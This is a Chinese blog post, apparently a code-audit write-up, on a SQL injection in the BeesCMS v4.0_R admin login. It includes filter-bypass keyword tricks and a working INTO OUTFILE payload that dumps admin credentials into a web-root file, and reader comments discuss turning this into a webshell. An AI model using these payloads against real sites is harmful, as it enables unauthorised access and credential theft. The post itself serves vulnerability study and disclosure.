【代码审计初探】Beescms v4.0_R SQL注入
前段时间去尝试审计一款cms系统,恰巧在补天上看到有Beescms相关漏洞,于是去官网下载了个学着审计了下。后来找出了Bypass 全局防护的SQL Injection .当时心情 激动地去补天提交。结果悲催的是在我提交的前几天有人提交了。下面进入正题,大神请绕道!
NAME: BeesCMS最新版_V4.0_R_20160525 SQL注射(突破全局防护)
后台登录处验证码设计缺陷漏洞
首先是后台登录页面/admin/login.php
验证码形同虚设,一次验证后在不刷新的情况下可以多次提交请求。这就为这里的注入提供了前提条件。
SQL Injection
在admin/login.php
中,登录处的核心代码是:
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
看到此处对输入的用户名和密码进行的操作:
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
定位到函数fl_value 和 函数 fl_html : (都位于/includes/fun.php下面)
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
function fl_html($str){
return htmlspecialchars($str);
}
可以看到fl_html函数过滤了一些可能引起XSS的字符,而 函数 fl_value则是对输入的关键字进行了过滤,可以看到,几乎常用的SQL关键字都被过滤掉了,这个时候看看preg_replace()函数中的正则表达式,经过几次尝试,得到了Bypass的方法:
具体规则如下:
union => uni union on
select => selselectect
outfile => outoutfilefile
into => into
……
同时,登录SQL执行代码在fun.php中,如下:
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
可以知道字段数为5,下面通过构造语句:
admin' uni union on selselectect 1,2,3,4,5--%20
可以看到返回了正常页面:(check_login可知SQL是先执行username查询之后再验证密码的,所以如下输入结果正常)
知道了这个注入规则之后,就有各种各样的注入方法了,下面我使用了一种可以直接拿到管理员账号密码的:
如:(本地环境测试的)
注入如下语句:
user=admin' uni union on selselectect 1,2,3,4,5 '' in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
目的是在网站根目录下新建a.php文件,可以记录表 bees_admin里面的信息在a.php里面(由于函数hl_html的过滤导致不能直接上传 php木马)。效果图如下:
此时,网站根目录下面已经产生了a.php这个文件了,如下所示:
a.php里面前面的部分为bees_admin表里面的admin所对应的内容,后面的1~5则是为了补全select语法在payload里面写的内容。这样的话,就可以拿管理员登录后台了。
当然,注入手法很多,知道了这个规则,各种注入就可以上场了。
修复建议
fl_value函数的正则验证需要加强~
关注博主,rss订阅
已回链
好文章,已关注博主,加入RSS豪华大餐,这次耐心看完代码部分,受益匪浅。
已关注博主,这次耐心的看完了代码部分,受益匪浅。
出了下一篇内容:【代码审计】对Beescms SQL注入漏洞的进一步思考
https://www.ohlinge.cn/php/beescms_login_sql.html
啊sry 忘了html过滤了一些标签qwq 谢谢表哥分享
其实你注意到了这点,这里是可以突破进而Getshell的,看这里https://www.ohlinge.cn/php/beescms_login_sql.html
既然能outfile了 为啥不直接写shell呢。。。
实际上搞站时不一定能搞到站的绝对路径...或者猜,或者让其报错显示绝对路径..还有权限问题...都得考虑到
代码审计大法好
我一个小白竟然看懂了。。。。
枫林表哥就是厉害
玄武的表哥也是屌屌屌啊